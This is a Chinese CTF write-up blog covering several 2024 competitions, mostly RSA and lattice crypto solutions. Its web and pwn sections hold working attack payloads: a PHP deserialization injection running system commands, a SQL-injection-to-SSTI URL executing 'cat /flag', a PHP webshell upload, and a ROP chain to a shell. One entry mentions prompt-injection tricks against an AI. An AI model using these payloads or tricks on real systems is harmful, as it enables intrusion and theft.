2024强网杯
第一次强网杯,和队友做了3个crypto和1个misc,最后排名全国101名
Web
PyBlockly
fuzz unicode
1 | import unidecode |
可写文件,可以写run.py,生成payload脚本如下,run.py直接RCE,并发打尝试竞争
1 | source='''begin') |
Yakit线程数开到80 repeat开1000,实测可以打通1-2次请求
读不出flag,看下权限
flag root只读,找suid
suid有dd命令,根据上面的脚本生成最终exp
platform
打session反序列化逃逸
本题session文件格式
1 | user|序列化字符session_key|序列化字符password|序列化字符 |
其中session_key长度不确定,但是是1-50范围内
敏感函数会过滤,user写数组填入敏感函数,password内填入恶意序列化,用user逃逸覆盖session_key
把session file打成这样就行
1 | user|a:2:{i:0;s:91:"";i:1;s:0:"";}session_key|s:43:"AASnObFAVz9pSYNMtI86IkkGzYUlqzxZyQPFVBmZB3i";password|s:96:";i:1;O:15:"notouchitsclass":1:{s:4:"data";s:30:"$a='sys'.'tem';$a('ls -al /');";}}password|s:0:""; |
最终payload
1 | username[]=evalevalevalevalevalevalevalevalevalevalevalevalevalevalevalevalevaleval&username[]=&password=;i:1;O:15:"notouchitsclass":1:{s:4:"data";s:31:"$a=%27sys%27.%27tem%27;$a(%27/readflag%27);";}}password|s:0:" |
Yakit线程数开1,一边打index.php生成session文件,一边打dashboard触发payload,当敏感函数覆盖的长度正好与随机生成的key长度相等就会执行命令,爆破还挺快
snake
上来一个贪吃蛇
session可以伪造,不过没什么用,先写个能玩的脚本
1 | import requests |
写了个循环的,算法不重要,能玩就行,就是跑得慢点
拿到最后的路径,发现有联合查询,查询出来的东西可以打ssti
注入poc
1 | /snake_win?username=a%27%20union%20select%201,2,(select%20%27PAYLOAD%27)--+ |
fenjing直接梭
最终payload
1 | http://eci-2ze8beum9soiwtd81xgp.cloudeci1.ichunqiu.com:5000/snake_win?username=a%27%20union%20select%201,2,(select%20%27{%set%20ls=%22cat%20/flag%22%}{{cycler.next.__globals__.__builtins__.__import__(%22os%22).popen(ls).read()}}%27)--+ |
Proxy
很简单,看一眼源码就知道了
v2接口直接打golang v1接口,不走nginx就行
base解一下flag{42f4ce70-9d67-4cf5-bec1-77c7256d2367}
xiaohuanxiong
访问后台目录ip/admin/payment.html可以发现这里可以上传php代码,于是添加phpinfo()进行上传
Burpsuit抓包将php内容改为一句话木马
发送后用蚁剑连接根目录下获取flag
Reverse
mips
mips_bin中可以解出一个flag,flag{dynamic_reverse},启动mips_bin可以提示正确,但这不是正确的flag。
动调输入flag{123456789012345678901}满足条件后,可以观察到stru的值是我们输入的明文,v679也是。
前面套了一个类似canary的东西?导致直接运行到不了加密点,对copy的明文交叉引用。可以发现一串未被IDA识别为函数的内容。转换之后可以看到比较逻辑。
1 | unsigned __int64 __fastcall rc4(__int64 a1) |
具体加密流程:
魔改rc4,异或0xA,换位
密文在这个位置
1 | __int64 __fastcall sub_7F1529A8D913() |
比较流程
使用单字节爆破,先换位,在单字节异或0xA以后判断是否相等
1 | #include "bits/stdc++.h" |
Crypto
EasyRSA
最关键的一点是发现因式分解
因为知道N,g。那么根据关系式我们就能求得
1 | import libnum |
flag{e83a95e2-6ea2-4402-808b-bf010cbbffcf}
21_steps
这题主要的思路就是构造出payload,只含有21个基本运算('>>', '<<', '+', '-', '&', '^','*', '/', '%')
同时,我们只能使用变量a和b,需要在21步之内将a(128位bits)的1的个数算出来,并且赋值给a
上网搜索相关的资料,发现存在一种求汉明重量的算法bitcount,其中存在一种位运算的算法,如下所示:
1 | int hammingWeight(uint32_t n) { |
这个是求64位的算法,我们只需要对位数进行扩展即可,稍微修改一下脚本:
1 | def calculate_hamming_weight_128(a): |
在本地测试,没啥问题,然后我们根据题目要求的正则表达式(pattern = r'([AB]|)=([AB]|)(+|-|*|//|<<|>>|&|^|%)([AB]|)')的规则进行改写,也就是说不能出现a=b这样的式子,必须是a=a+b这样的
而且不能使用十六进制的数,所以我们还需要调整一下
最后构造的payload:
1 | B=A+B; |
然后在nc端运行,直接得到flag
flag{you_can_weight_it_in_21_steps!}
apbq
这题的主要分三步
第一步很简单,已知p+q和p*q,直接解方程就行
1 | n=89839084450618055007900277736741312641844770591346432583302975236097465068572445589385798822593889266430563039645335037061240101688433078717811590377686465973797658355984717210228739793741484666628342039127345855467748247485016133560729063901396973783754780048949709195334690395217112330585431653872523325589 |
解得p和q的值,然后简单RSA解密得到第一部分的明文
1 | p=9944868810114216202051445555036732697046288141145767567362511367574668195172230525918426361043964814581009916352403620781997665604176512356634685730213779 |
然后第二部分参考了github(https://github.com/josephsurin/my-ctf-challenges/tree/main/downunderctf-2023/apbq-rsa-ii)上的LLL攻击脚本,稍作修改,就出结果了
1 | #task2 |
顺便把第二轮的私钥也求出来,后一轮要用
这样就求出了第二轮的m和第二轮的d,发现第三轮的d和第二轮是一样的
那第三轮就简单了,直接解就行
1 | import gmpy2 |
然后,拼起来就行
1 | m1=8114814712001608912087736741471 |
flag{yOu_can_s0lve_the_@pbq_prob1em!!}
Pwn
chat_with_me
这是一个rust的应用,比较难逆向,然而功能就是菜单堆(其实不是堆)
一共有四个功能
- 添加消息是在一个manager(申请的堆块)中写地址,manager的大小是指数级增长的,当添加消息功能的指针占满了就会realloc,0x1 * 8 、0x2 * 8 、0x4*8以此类推。
- 删除消息没啥用,至少对于本wp这个做法来说,就是将manager里剩余的指针向前拷贝
- 编辑消息是对于manager中的指针所指向的缓冲区进行编辑
- 查看消息是对于manager中的指针指向的缓冲区进行打印,按照字节数组的方式
本题的漏洞是:在添加消息时,返回的指针是栈上的,sub_199d0返回的消息指针是其参数
而其调用者传入的是v2这个临时变量指针,这个指针指向的位置是添加消息栈的低地址处,如果添加消息返回,再次调用编辑消息,那么编辑消息时将会修改编辑消息函数本身的临时变量。
本题的利用方式为:
1、首先,申请129个message,这样manager本身就会处于tcahce的大小之外(0x10+256*8=0x810)然后查看(show)任何一个消息,都会泄露出一个堆地址和一个栈地址。
2、然后编辑消息,在编辑时会输入一个index,这个index输入时估计是一个rust的string,内容是(8+字符串堆块地址+字符串长度/8)编辑完毕后,该字符串会被free掉,包括其中的字符串堆块。
3、而此时,该字符串对象刚好在栈指针+0x50的编辑范围内,将该指针的内容换成泄露的堆地址减去一定偏移(这个是可以调试的)就能够把manager给free掉,之后,manager会进入unsortedbin
4、再次edit,此时,该unsortedbin会被切割,会留下一个指向自己的指针,利用该指针写manager,给栈上留一个指针,堆上留一个指针。
5、利用栈上的指针读返回地址,得到程序在PIE下的加载地址
6、利用堆上指针重新写manager,添加一个指向got表的指针
7、got表只读,所以利用新的got表指针泄露libc地址
8、利用栈上指针写返回地址,ROP执行system("/bin/sh")即可,字符串放在ROP链末尾,反正栈地址也知道。
Getshell
ps:这个截图是结束后又跑了一遍代码补的,第一次交的忘了截图了
exp:
1 | from pwn import * |
Misc
签到
直接输入即可
flag{We1c0mE_T0_Qi@nGwangCuP_S8_H0pe_yOu_w1IL_L1kE_iT!}
问卷调查
flag{tHanKS_f0R_YoUr_FeeDBAck_seE_y0U_NexT_ye@r!}
Master of OSINT
任务为十张图,找出九张图的经纬度即可。
使用百度地图、谷歌识图、小红书、百度识图等工具慢慢一张一张找就行
第一张:
百度识图得,目标地点在青海湖附近,又是宽阔的马路,前方还有一个房子,我们直接把重心放到道路上
我们发现青海湖周围也没啥大的道路,所以目标放到了倒湖茶公路
沿着路搜索,就找到了目的地中的那个房子
经纬度:(99.9745,36.6671)
第二张:
发现图上有百安居的精准名字,于是遍历搜索全国的百安居,最后找到了百安居(龙阳店)
经纬度:(121.5659,31.2109)
第三张:
根据全景的最右边,基本确定是一个飞机场
百度识图得:
定位到百度地图,成都国际双流机场
经纬度:(103.9647,30.5719)
第四张:
百度识图,找到浙江长运物流股份有限公司(杭州储运分公司)
经纬度:(120.2933,30.3461)
第五张:
看到经典栏杆,一眼成都
搜图得:
经纬度:(106.5241,29.5250)
第六张:
识图得到:定位在南京铁路南站
经纬度:(118.7827,32.0134)
第七张:
定位该地址
发现是橘子洲头的高架,如下图
经纬度:(112.9695,28.2018)
第八张:
把重心放到高架、湖和风力发动机上
百度识图后,锁定下图
在长兴岛郊野公园
经纬度:(121.7348,31.4128)
第九张:
主要看这个桥,很有特征
感觉是长江,搜索一下,应该是在长江大桥上
定位到武汉天兴洲长江大桥
经纬度:(114.4125,30.6610)
最后解出9个图,得到flag
flag{f52a53006ed17f5a630483c36c873b27}
givemesecret
刚开始在网上搜到了对ai的浅析攻击,尝试了很多攻击方式,比如debug模式,遗忘模式,复述模式,都失败了,于是我们再进一步,使用了下图所示的方法,突然就出了(
2024网鼎杯
本人的第一篇blog,顺便记录一下前几天打的网鼎杯青龙组预赛,完成两道Crypto题和一道misc的解答。
战队获得2490分,排名150名左右。
Crypto
Crypto1
题目:
1 | from Crypto.Util.number import * |
发现是论文题,利用coppersmith来进行约束求解
参考了该论文https://eprint.iacr.org/2023/367.pdf
在github中找到了类似的代码,加以修改得:
1 | import time |
解得:
1 | d=514966421261428616864174659198108787824325455855002618826560538514908088230254475149863519 |
然后用正常的rsa解密即可
1 | d=514966421261428616864174659198108787824325455855002618826560538514908088230254475149863519 |
Crypto2
题目:
1 | # coding: utf-8 |
解答:
一步一步分析即可,首先逆向解出k和dA,这个直接做运算即可
然后把三轮的r和s放进去
将s分为两部分 取前十六位作为初始化的向量 后面是正常的加密的部分
然后计算私钥dA
对应的 SHA-256
哈希值作为密钥key_temp
。使用CBC
模式,以key_temp
为密钥,flag_1
为初始化向量,对enflag
进行解密,得到decrypted_flag
。
最后用题目提供的解密函数进行解密即可,得到flag
py:
1 | from gmpy2 import * |
Misc
Misc4
是一种皮亚诺曲线的加密
解密脚本如下:参考了https://almostgph.github.io/2024/01/08/IrisCTF2024/
1 | from PIL import Image |
跑出来的结果存在了anaconda目录下 打开得到二维码
扫描二维码得到flag
1 | wdflag{b9367dd6-2d7e-4ef7-ba5c-270a6c6220cd} |
2024CISCN
第一次打国赛,只会两个签到题,求放过
Crypto
古典密码
1 | AnU7NnR4NassOGp3BDJgAGonMaJayTwrBqZ3ODMoMWxgMnFdNqtdMTM9 |
我们观察这一串字符,猜测使用了base64换表,进行解密,发现出问题了
我们使用随波逐流脚本工具,对其进行一个一个的暴力猜测,最后发现使用Atbash解密,获得一串字符串
1 | ZmF7MmI4MzhhLTk3YWQtZTlmNzQzbGdiYjA3LWNlNDctNmUwMjgwNGN9 |
然后我们用base64进行解密,得到:fa{2b838a-97ad-e9f743lgbb07-ce47-6e02804c}
发现已经出现了fa和括号的形式,所以我们用栅栏解密进行破解,栅栏栏数为2
得到最后的flag:flag{b2bb0873-8cae-4977-a6de-0e298f0744c3}
OvO
首先我们观察题目,题目遮住了e的200个最低位,所以我们已知e的最高位,而我们题目中的kk是可以通过直接作除法得到的,我们利用n比p和q大得多的性质,直接近似计算出我们的
然后我们尝试去化简我们题目中给出的式子:
然后我们对两边做乘以p的操作,就可以对其进行化简了
sage脚本如下所示:
1 | n = 111922722351752356094117957341697336848130397712588425954225300832977768690114834703654895285440684751636198779555891692340301590396539921700125219784729325979197290342352480495970455903120265334661588516182848933843212275742914269686197484648288073599387074325226321407600351615258973610780463417788580083967 |
通过在线sagemath求解出了我们的p,q和e
我们得到了:
1 | p=9915449532466780441980882114644132757469503045317741049786571327753160105973102603393585703801838713884852201325856459312958617061522496169870935934745091 |
然后就是简单的RSA解密
1 | p=9915449532466780441980882114644132757469503045317741049786571327753160105973102603393585703801838713884852201325856459312958617061522496169870935934745091 |
最后我们得到了flag:flag{b5f771c6-18df-49a9-9d6d-ee7804f5416c}
2024H&NCTF
更新一下,刚学crypto时打的比赛,做了两个crypto题
Crypto
BabyPQ
进入端口,得到我们的n和phi
我们已知
1 | n= 49591977487629594945496373438511006111775528534545574233225149697175329748553605568368963756920661135425024807876418929312382617151908592963419269275343863166615811689723484880951512308750038206562522283030655840533891416358727464163458870504250389804872146353448401968369599477838528162180039236966333218441 |
通过解方程,我们就可以得到我们的p和q
然后输入我们的p就可以了,得到flag
flag的值为:H&NCTF{af7051cd-2cd6-424e-8413-a65926c77e5c}
MatrixRSA
1 | from Crypto.Util.number import * |
文献题,查阅关键词Matrix和RSA就可以找到对应的论文
我们只需要将我们的欧拉函数进行替换就可以了
exp:
1 | from gmpy2 import * |
1 | import numpy as np |
这样我们就可以求出原来的矩阵了,然后我们进行字符转化就可以得到我们的flag了
1 | H&NCTF{58bff5c1-4d5f-4010-a84c-8fbe0c0f50e8} |
2024XYCTF
记录上半年打的新生赛,一场记忆犹新的crypto入门赛
Crypto
Sign1n_Revenge
1 | from Crypto.Util.number import * |
crypto部分的签到题啦,简单分析一下题目的意思,首先是对几个函数进行分析,先把输出的结果加到514位,然后将每一位作一个加i加1再模10的操作,再将前两位去掉,将剩下的512位作倒置,然后输出
这样的话,我们对其进行逆向的分析,就可以得到原先的二进制数,分析的代码如下所示
1 | #include <iostream> |
然后解出我们的二进制代码,我们将后面的0都去掉,剩下前面的
1 | 11001100110110001100001011001110111101100111000001110000011010100110111011000010110011001100100001110000010110101100001001110010110010101100101001011010011010001100101001101110110010100101101001110000011000100110110001100000010110100110111011001100011000101100010001110000110011001100110001100110011010000110101001100100110010001111101 |
我们还需要在前面补充两位的二进制数,再将其bytes_to_long即可
经过尝试,我们补充两个0,最后获得了flag
1 | flag{8857afd8-a9ee-4e7e-8160-7f1b8ff3452d} |
Sign1n[签到]
跟上面一题的思路是一样的,得到flag即可
1 | flag{8857afd8-a9ee-4e7e-8160-7f1b8ff3452d} |
happy_to_solve1
1 | from Crypto.Util.number import * |
这题主要是一个happyprime函数,生成两个512位的素数,有一定的联系,这题与之前做的一题几乎一模一样,直接套用脚本即可
1 | import gmpy2 |
然后我们就可以得到flag
1 | XYCTF{3f22f4efe3bbbc71bbcc999a0a622a1a23303cdc} |
happy_to_solve2
1 | import random |
这题的两个素数较大,且不太能进行分解,于是我们观察生成两个素数的函数,发现第一个素数由123组成,第二个素数由567组成,于是想到根据乘积末尾部分来反推两个素数,由于存在多解性,我们利用dfs来求解
1 | m="697906506747097082736076931509594586899561519277373830451275402914416296858960649459482027106166486723487162428522597262774248272216088755005277069446993003521270487750989061229071167729138628583207229945902389632065500739730301375338674342457656803764567184544685006193130563116558641331897204457729877920989968662546183628637193220770495938729301979912328865798266631957128761871326655572836258178871966196973138373358029531478246243442559418904559585334351259080578222274926069834941166567112522869638854253933559832822899069320370733424453856240903784235604251466010104012061821038897933884352804297256364409157501116832788696434711523621632436970698827611375698724661553712549209133526623456888111161142213830821361143023186927163314212097199831985368310770663850851571934739809387798422381702174820982531508641022827776262236373967579266271031713520262606203067411268482553539580686495739014567368858613520107678565628269250835478345171330669316220473129104495659093134763261751546990704365966783697780787341963138501" |
求解出来由很多组解,我们再去对照前面的位数,最后获得了两个素数
然后我们再使用RSA解密即可,求出逆元,求出d,在正向求解即可
1 | from gmpy2 import * |
解出flag
1 | XYCTF{7f4b2241951976ce5ef6df44503209059997e5085d1bc21f6bef4d9effb29fd0} |
happy_to_solve3
1 | import gmpy2 |
论文题
我们还是使用我们的连分数攻击去完成,将下面的底换一下就可以了
1 | from Crypto.Util.number import * |
得到结果:
1 | 202935305174706906986376186864051444100197589482194720650385604617995167023220940138899902073948844285283834058445151666398192104922822110762965750590312021079147170573038600118139119881722125346545331027913695559130179278058419339157557267195396326664433859683010193688491694572425231599139974726246205888138 |
然后我们再一一检验就可以了,找到第三个是符合条件的
1 | N = 262520792590557046276663232446026434827811478251833823563978322470880473096166170973396967071440576532100045206129176936699321058518888771220060450723297988984995658582283884954240129867538637146924315603797818982078845855992582229939200744016516540207525916858674450616913948112117516831530578235916528257187 |
输出我们的flag
1 | XYCTF{68f1880cdafd99fbf9a156946cb39dd86477886f1d115636e149e12c16f99af0} |
factor1
1 | import gmpy2 |
这道题刚开始一直在考虑求e的逆元那一步,感觉有点问题,后来我用了低指数加密破解
简单来说就是将逆元后面的那一串式子看成n的3次,然后对e和n的三次做连分数攻击就可以了
1 | import gmpy2 |
连分数破解完之后,我们得到了很多组可能的结果,我们一组一组进行验证,最后求出p1,p2,q1,q2,然后就可以解出答案了
1 | import gmpy2 |
运行程序,得到flag
1 | XYCTF{a83211a70e18145a59671c08ddc67ba4} |
factor3
1 | from Crypto.Util.number import * |
这题跟factor1是一样的,先是用wiener attack,再穷举求出d就可以了,再作异或操作即得到flag
1 | import gmpy2 |
解出所有的可能
1 | 494518390582436635999115147756676313570637682518235195828939117782099618734167908630788943568232122157772909140885391963441876427590731524706959546524212914108888799081844320513851526790475333924396837458796755678072486028072639014677580265244176441153444956871730684233063789931539669072735599696830757690822185323538738397827461580678488181113667710378657058297572328491762536595872579603698945272140918157163640403488075948987156585480146162739943419183496337465468187233821931312507662218106713861638334075899266373256620752680354704533272722692596941861606161634082613228896420520465402725359166156632884432690715903666803067996854084671477445131853993177110154928274312496230096270510089973592664248613332000290545537840595645944390047611474888693558676781309912289044962293014118087259307560444929227407113819165713213046898243995956550944640168932947118400215917515277554126694376415569909534496134700668701465649938 |
然后一个一个试,求出逆元d,d需要满足是320位二进制,即93位十进制
1 | d=2109723047551375043305134722302342646596769444055829710618826161103186815230448177424794300667429 |
然后就进行d的平方操作,再和c作异或就可以了,得到flag
1 | XYCTF{I_love_to_read_the_crypto_paper_and_try_to_ak_them} |
babyRSAMAX
1 | from Crypto.Util.number import * |
先是利用生成n的漏洞,破解出p和q
1 | p=236438400477521597922950445153796265199072404577183190953114805170522875904551780358338769440558816351105253794964040981919231484098097671084895302287425479 |
然后我们就可以解出e了,利用求逆元的方式,求出e
1 | from gmpy2 import * |
求解出
1 | b'XYCTF{e==4096}' |
说明我们已经求解出了e的值为4096
然后再进一步,但是我们发现,下一个mod似乎没有整数解,因为e和phi不互素(具体参考e与phi不互素的情况_e和phi不互素-CSDN博客)
我们使用有限域上的解的方式,用sage环境分别解出p和q的有限域,然后再用CRT把两个解合起来,查找是否存在字符XYCTF即可
1 | [(236438400477521597922950445153796265199072404577183190953114805170522875904551780358338769404214275971858584747720119200208117068403781208566503489403215434, 1), (36344540379246669047243921781711114415694316462518391812884210045, 1)] |
代码:
1 | res1=[(236438400477521597922950445153796265199072404577183190953114805170522875904551780358338769404214275971858584747720119200208117068403781208566503489403215434, 1), (36344540379246669047243921781711114415694316462518391812884210045, 1)] |
输出结果
1 | XYCTF{Rabin_is_so_biggggg!} |
Complex_dlp
1 | from Crypto.Util.number import * |
这道题根据hint,首先考虑将复数域转化成实数域,方法就是将两边同时乘上对应的共轭复数,这样两边就变成整数了
1 | p =1127236854942215744482170859284245684922507818478439319428888584898927520579579027 |
然后就很简单了,用sage求一下离散对数,在转一下long_to_bytes就搞定了
求出flag是
1 | XYCTF{___c0mp13x_d1p_15_3@5y_f0r_y0u___} |
反方向的密码 相思
1 | from Crypto.Util.number import * |
这题的主要思路是,利用coppersmith来进行高低位的攻击,因为我们知道,flag的前几位必然是XYCTF{,所以相当于前面的m的位数已经知道了,包括最后的位数,也是可以确定的,所以我们就直接猜测flag的位数,然后逐一验证,看是否有正确的m。
验算到38时终于出现了答案,说明flag的长度是38
对应的m的值为58964190787951927773278389967057377362495121527440001979648729026891046689
我们将其long_to_bytes即可,得到最后的flag
1 | XYCTF{!__d3ng__hu0__1@n__3h@n__Chu__!} |
fakeRSA
1 | from Crypto.Util.number import * |
这题是用jordan型正定矩阵来解决(根据hint)
n*n
型来进行计算,将原jordan矩阵填充到3*3
型
我们先求出第二组和第三组解,根据前面的公式就可以得出来
1 | b2 = vector(GF(p),[1431995965813617415860695748430644570118959991271395110995534704629241309597572003500157255135707,1011565891130611736600822618382801465506651972373410962205810570075870804325974377971089090196019,784497518859893244278116222363814433595961164446277297084989532659832474887622082585456138030246]) |
在解出前三组解之后,我们就可以列出最后的表达式了
1 | a = matrix(GF(p), [a0, a1, a2]) |
这样就解出了最后的结果
1 | XYCTF{y0u_finally_f0und_t3h_s3cr3ts!!} |
x0r
1 | from Crypto.Cipher import AES |
这题的话就是一个AES加密体制,AES加密的特点就是对称加密,就是说每次加密,明文都是一样的,所以我们可以通过明文去破解,输出的是128位密码,但是我们测试iv = os.urandom(16)
发现生成的iv是32位的,所以我们将前32位当成iv输入,后面的96位当作message输入,这样就能解出公钥
公钥是:58594354467b31663363626332312d663735362d346132382d613030372d6436653838633735653631667d0a04040404
然后我们对其进行逆向解密即可,获得flag
1 | XYCTF{1f3cbc21-f756-4a28-a007-d6e88c75e61f} |
重生之我要当oi爷(未解决)
1 | def f(a, b, p): |
Complex_rsa
1 | from Crypto.Util.number import * |
首先就是根据我们给出的条件,将我们的p和q都计算出来,这个不难
然后根据我们在复数域上的欧拉函数,我们可以得到:
但是我们可以升次,通过升次去找到我们可能的解
1 | from Crypto.Util.number import * |
这样就可以找出我们所有可能的解
然后用我们的CRT进行遍历,找出带flag头的就可以了
1 | from Crypto.Util.number import * |
这样就得到了我们的flag
1 | flag{Complex_is_so_fun_and_I_think_you_know_Sylvester!} |
Random_rr(未解决)
1 | from Crypto.Util.number import * |
反方向的密码 情难(未解决)
1 | import hashlib |
easy_ecc
1 | from Crypto.Util.number import * |
这题的话,我们首先将椭圆曲线转化成标准曲线,转化脚本在学习资料中已经给出。转完之后,我们尝试用hellman进行解密,发现报错,提示该点在奇异曲线上,于是我们选用奇异曲线的解密脚本来进行攻击,脚本如下所示。(实际上并不一定需要转化成标准曲线)
1 | A=1098066776930223927329092382214459309226361965213 |
使用sage,这样就解出了我们的sercet值,再带回到原式中,获得最后的flag
1 | XYCTF{ec9a6e17537e81b7f593f65f7e2ca5d575e6b34c504c24e4afb40c1e9dc4be0d} |
LCG_and_HNP(未解决)
1 | from Crypto.Util.number import * |
铜匠
1 | from Crypto.Util.number import * |
这题就是一个coppersmith练习,只不过第一个形式貌似是对d的高位攻击,平时没有怎么见过
1 | from Crypto.Util.number import * |
这样就可以解出来了
1 | XYCTF{___y0u_k0nW_h0w_t0_s01v3_c0pP3r_th15_15_y0r_fl@9_hahahaha!!!___} |
new_LCG(未解决)
1 | from Crypto.Util.number import * |
Reverse
聪明的信使
一眼古典密码,直接打开ida,按f5,对字符串进行解密就可以了
1 | flag{Y0u_KnOw_Crypt0_14_v3ry_Imp0rt@nt!} |
喵喵喵的flag碎了一地
在程序开头处找到第一处flag,说第二处flag在function中,我们很容易找到,然后根据提示,就可以知道第三处跟function互相引用(xref)了,所以找到对应的function718,是在一个数字下,读出flag即可
1 | XYCTF{My_fl@g_h4s_br0ken_4parT_Bu7_Y0u_c@n_f1x_1t!} |
Misc
熊博士
1 | CBXGU{ORF_BV_NVR_BLF_CRZL_QQ} |
看出来是古典加密,根据前五位XYCTF就可以推断出加密方式了,是两个位置上的ascii码加起来永远不变,容易得出flag
1 | XYCTF{liu_ye_mei_you_xiao_jj} |
签到
第一题!直接发给公众号获得flag
1 | XYCTF{WELCOME_TO_XYCTF} |
EZ_Base1024*2
base2048在线解密:
Encode and Decode Base2048 Online Tool
得出结果
1 | XYCTF{84ca3a6e-3508-4e34-a5e0-7d0f03084181} |
真>签到
有手就会,把附件放进01编辑器中,读取前面的flag就可以了
读取flag
1 | XYCTF{59bd0e77d13c_1406b23219e_f91cf3a_153e8ea4_77508ba} |
Osint1
这题给了一个滨海新区的照片,本来因为是天津市的,但是不是,后来在百度识图在一个网址上找到了用户的ip为江苏,再进一步查询发现该地点在江苏省南通市海安区,在滨海东路上,外面的海是黄海。
得到flag:
1 | xyctf{江苏省|南通市|滨海东路|黄海} |